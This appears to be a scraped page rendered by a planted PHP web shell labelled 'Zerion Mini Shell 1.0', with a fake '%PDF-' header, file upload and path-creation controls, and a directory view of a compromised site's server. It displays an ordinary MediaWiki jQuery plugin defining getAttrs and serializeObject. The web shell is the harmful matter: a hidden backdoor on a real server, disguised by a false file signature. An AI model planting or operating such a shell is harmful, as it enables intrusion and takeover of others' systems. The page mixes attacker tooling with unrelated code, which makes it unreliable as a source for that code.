%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/www/varak.net/wiki.varak.net/resources/src/jquery/
Upload File :
Create Path :
Current File : //proc/thread-self/root/www/varak.net/wiki.varak.net/resources/src/jquery/jquery.getAttrs.js

/**
 * @class jQuery.plugin.getAttrs
 */
( function () {
	function serializeControls( controls ) {
		var i,
			data = {},
			len = controls.length;

		for ( i = 0; i < len; i++ ) {
			data[ controls[ i ].name ] = controls[ i ].value;
		}

		return data;
	}

	/**
	 * Get the attributes of an element directy as a plain object.
	 *
	 * If there is more than one element in the collection, similar to most other jQuery getter methods,
	 * this will use the first element in the collection.
	 *
	 * @return {Object}
	 */
	$.fn.getAttrs = function () {
		return serializeControls( this[ 0 ].attributes );
	};

	/**
	 * Get form data as a plain object mapping form control names to their values.
	 *
	 * @return {Object}
	 */
	$.fn.serializeObject = function () {
		return serializeControls( this.serializeArray() );
	};
}() );

Zerion Mini Shell 1.0